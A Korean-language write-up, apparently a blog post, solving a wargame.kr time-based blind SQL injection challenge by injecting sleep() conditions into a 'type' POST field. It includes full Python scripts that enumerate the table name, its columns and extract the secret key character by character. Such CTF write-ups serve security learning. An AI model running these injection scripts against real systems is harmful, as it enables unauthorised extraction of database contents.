Time based SQLi challenge. (with Insert Query) you can't see the result after insert query. but you can SQLi Attack!
우리는 결과가 리턴되지 않는 상태에서의 sqli 를 해본적이 있다.
아마 비슷한것일거라 생각하고 가벼운 마음으로 문제를 눌렀다
3개의 메뉴가 있는데 첫메뉴, 두번째 메뉴는 그냥 자바스크립트이고 따로 서버에 리퀘스트를 보내지 않는다.
마지막 메뉴는 마스터에게 건의사항을 보내는 란인데 역시 따로 리턴값이 없다. 아무래도 여길 이용해야 할 것 같다
총 세개의 POST 폼이 있는데
cont=input+contents%21&mail=guest&type=1
CONT
TYPE
이다. 여기서 sleep을 각자 넣어봤는데 유일하게 TYPE에서 페이지 지연을 발견했다.
IF(1=1,sleep(1),1)
여기가 포인트인것 같으니 노려보자. 이렇게 스크립트를 작성한다.
#!/usr/bin/env python # -*- coding: utf8 -*- import urllib, urllib2, time headers = {'Host': 'wargame.kr:8080'} for j in range(1,12): data = "cont=input+contents%21&mail=1&type=IF(1=1,sleep(0.5),1)" #print data #data = urllib.quote(data) req = urllib2.Request("http://wargame.kr:8080/qna/?page=to_jsmaster", data, headers) response = urllib2.urlopen(req) start_time = time.time() response = urllib2.urlopen(req).read() times = time.time() - start_time print times
여기서 반환되는 times가 0.5 이상이면, TRUE라고 할 수 있다.
여유있게 0.5를 줬지만 실제는 0.2 정도로 짧게 하는게 좋다. 우리의 시간은 소중하니까...
이제 테이블 길이를 알아내보자
"IF((select length(table_name) from information_schema.tables where table_Type=0x{} limit 0,1)={},sleep(0.5),1)".format("BASE TABLE".encode('hex'),j)
이런식으로 구성하면 된다.
처음 발견한 테이블은 message 라는 테이블인데 이건 쓸모 없다.
하여튼 테이블을 얻어 내고 차근차근하면 된다
#!/usr/bin/env python # -*- coding: utf8 -*- import urllib, urllib2, time headers = {'Host': 'wargame.kr:8080'} print "FIND TABLE LENGTH" for j in range(1,8): data = "cont=input+contents%21&mail=1&type=" data = data + "IF((select length(table_name) from information_schema.tables where table_Type=0x{} limit 0,1)={},sleep(0.5),1)".format("BASE TABLE".encode('hex'),j) #print data #data = urllib.quote(data) req = urllib2.Request("http://wargame.kr:8080/qna/?page=to_jsmaster", data, headers) response = urllib2.urlopen(req) start_time = time.time() response = urllib2.urlopen(req).read() times = time.time() - start_time if times > 0.4: print "TABLE LENGTH", j #7 print print "FIND TABLE NAME" for i in range(1,8): for j in range(32,123): data = "cont=input+contents%21&mail=1&type=" data = data + "if((select substr(table_name,{},1) from information_schema.tables where table_type=0x{} limit 0,1)={},sleep(0.5),1)".format(i,"BASE TABLE".encode('hex'),hex(j)) req = urllib2.Request("http://wargame.kr:8080/qna/?page=to_jsmaster", data, headers) response = urllib2.urlopen(req) start_time = time.time() response = urllib2.urlopen(req).read() times = time.time() - start_time if times > 0.4: print "FOUND", chr(j) #authkey print print "FIND COLUMN NAME" for k in range(0,6): for i in range(1,20): for j in range(32,123): data = "cont=input+contents%21&mail=1&type=" data = data + "if((select substr(column_name,{},1) from information_schema.columns where table_name = 0x{} limit {},1)={},sleep(0.5),1)".format(i,"authkey".encode('hex'),k,hex(j)) req = urllib2.Request("http://wargame.kr:8080/qna/?page=to_jsmaster", data, headers) response = urllib2.urlopen(req) start_time = time.time() response = urllib2.urlopen(req).read() times = time.time() - start_time if times > 0.4: print "FOUND", chr(j) print print "FIND KEY" pw = '' for i in range(1,50): for j in range(32,91): data = "cont=input+contents%21&mail=1&type=" data = data + "if((select substr(authkey,{},1) from authkey)={},sleep(0.5),1)".format(i,hex(j)) req = urllib2.Request("http://wargame.kr:8080/qna/?page=to_jsmaster", data, headers) response = urllib2.urlopen(req) start_time = time.time() response = urllib2.urlopen(req).read() times = time.time() - start_time if times > 0.4: print "FOUND", chr(j) pw = pw + chr(j) print pw